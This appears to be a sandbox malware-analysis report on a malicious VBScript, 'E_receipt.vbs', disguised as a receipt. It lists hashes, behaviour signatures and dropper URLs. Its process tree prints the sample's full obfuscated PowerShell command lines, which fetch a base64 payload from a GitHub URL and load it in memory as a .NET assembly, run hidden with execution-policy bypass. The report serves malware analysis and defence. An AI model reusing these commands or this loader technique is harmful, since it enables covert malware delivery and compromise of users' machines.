Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

E_receipt.vbs

windows7-x64

10

E_receipt.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/10/2024, 18:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    E_receipt.vbs

  • Size

    3KB

  • MD5

    1f7229b717e61580e9baf2830ee7afd0

  • SHA1

    98ade23ab27475f6d62f97a45b76b247075ff421

  • SHA256

    fa4cc3e867b36269dab9161f078565ff9048ac55ea6dccb8a39b5e156009eabf

  • SHA512

    ed233c408b5e7f6948756ff6a7585733055de3ccb3b0408aed31b543a5da722f5e0de949cce3fef1dc22be07aa481205efd5aa2c99959195b3c6ed758e7715f3

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\E_receipt.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYmNmdXJsJysnID0gTzNoaHR0JysncHM6LycrJy9yYXcuZ2knKyd0aCcrJ3VidXNlcmMnKydvbnRlbnQnKycuJysnY29tL05vJysnRGV0ZWMnKyd0T24vTm9EZXRlY3RPbi9yJysnZWZzL2hlJysnYWQnKydzL21haW4vJysnRGUnKyd0YWhOb3RoJysnLVYudHh0TzNoJysnOyAnKydiY2ZiYXNlNjRDb250JysnZW4nKyd0ID0nKycgKE5lJysndycrJy1PYmplY3QgJysnU3lzdGVtLk5ldC5XZScrJ2InKydDbGllbnQpJysnLkRvJysnd25sbycrJ2FkUycrJ3RyaW4nKydnKGJjZicrJ3VybCk7ICcrJ2InKydjJysnZmJpbmFyeUNvbnQnKydlbnQnKycgPSAnKydbJysnU3lzdGVtLicrJ0MnKydvbnYnKydlcnQnKyddOjpGcm9tQmFzZTY0U3RyaScrJ25nKGJjZmJhc2U2JysnNCcrJ0NvbnRlbnQpOycrJyBiJysnY2ZhcycrJ3NlbScrJ2JseSAnKyc9IFtSZWZsZWN0aW8nKyduJysnLkFzc2VtJysnYmx5XTo6TG9hZChiJysnY2YnKydiaScrJ25hcnknKydDbycrJ250ZW50KTsnKycgW2RubGknKydiJysnLkknKydPLkhvbWVdJysnOjpWJysnQUkoJysnbHRSdHh0LjNyJysneC9tb2MueWEnKydwZXMnKydtZXRzeScrJ3MvLzpzcHR0aGwnKyd0UicrJywgJysnbHRSMWx0UicrJywnKycgbCcrJ3RSQzo0VlBQJysncm9ncmFtRCcrJ2F0YTRWUGx0UiwgJysnbHQnKydSdicrJ2FnJysnZW1sdFIsJysnIGwnKyd0UlJlZycrJ0FzbWwnKyd0JysnUiwgbHQnKydSJysnbHRSLGx0UmwnKyd0JysnUiknKSAtUkVQbEFjRShbY0hBcl03OStbY0hBcl01MStbY0hBcl0xMDQpLFtjSEFyXTM5ICAtUkVQbEFjRSAnbHRSJyxbY0hBcl0zNCAtUkVQbEFjRSAgKFtjSEFyXTUyK1tjSEFyXTg2K1tjSEFyXTgwKSxbY0hBcl05MiAtUkVQbEFjRSAnYmNmJyxbY0hBcl0zNikgfC4oICRzaEVsTElkWzFdKyRTaEVMTElEWzEzXSsneCcp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bcfurl'+' = O3hhtt'+'ps:/'+'/raw.gi'+'th'+'ubuserc'+'ontent'+'.'+'com/No'+'Detec'+'tOn/NoDetectOn/r'+'efs/he'+'ad'+'s/main/'+'De'+'tahNoth'+'-V.txtO3h'+'; '+'bcfbase64Cont'+'en'+'t ='+' (Ne'+'w'+'-Object '+'System.Net.We'+'b'+'Client)'+'.Do'+'wnlo'+'adS'+'trin'+'g(bcf'+'url); '+'b'+'c'+'fbinaryCont'+'ent'+' = '+'['+'System.'+'C'+'onv'+'ert'+']::FromBase64Stri'+'ng(bcfbase6'+'4'+'Content);'+' b'+'cfas'+'sem'+'bly '+'= [Reflectio'+'n'+'.Assem'+'bly]::Load(b'+'cf'+'bi'+'nary'+'Co'+'ntent);'+' [dnli'+'b'+'.I'+'O.Home]'+'::V'+'AI('+'ltRtxt.3r'+'x/moc.ya'+'pes'+'metsy'+'s//:sptthl'+'tR'+', '+'ltR1ltR'+','+' l'+'tRC:4VPP'+'rogramD'+'ata4VPltR, '+'lt'+'Rv'+'ag'+'emltR,'+' l'+'tRReg'+'Asml'+'t'+'R, lt'+'R'+'ltR,ltRl'+'t'+'R)') -REPlAcE([cHAr]79+[cHAr]51+[cHAr]104),[cHAr]39 -REPlAcE 'ltR',[cHAr]34 -REPlAcE ([cHAr]52+[cHAr]86+[cHAr]80),[cHAr]92 -REPlAcE 'bcf',[cHAr]36) |.( $shElLId[1]+$ShELLID[13]+'x')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:856

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    64B

    MD5

    1a11402783a8686e08f8fa987dd07bca

    SHA1

    580df3865059f4e2d8be10644590317336d146ce

    SHA256

    9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

    SHA512

    5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_421rhi2v.yvj.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/4572-0-0x00007FF987713000-0x00007FF987715000-memory.dmp

    Filesize

    8KB

    Download

  • memory/4572-1-0x0000020AD3420000-0x0000020AD3442000-memory.dmp

    Filesize

    136KB

    Download

  • memory/4572-11-0x00007FF987710000-0x00007FF9881D1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4572-12-0x00007FF987710000-0x00007FF9881D1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/4572-27-0x00007FF987710000-0x00007FF9881D1000-memory.dmp

    Filesize

    10.8MB

    Download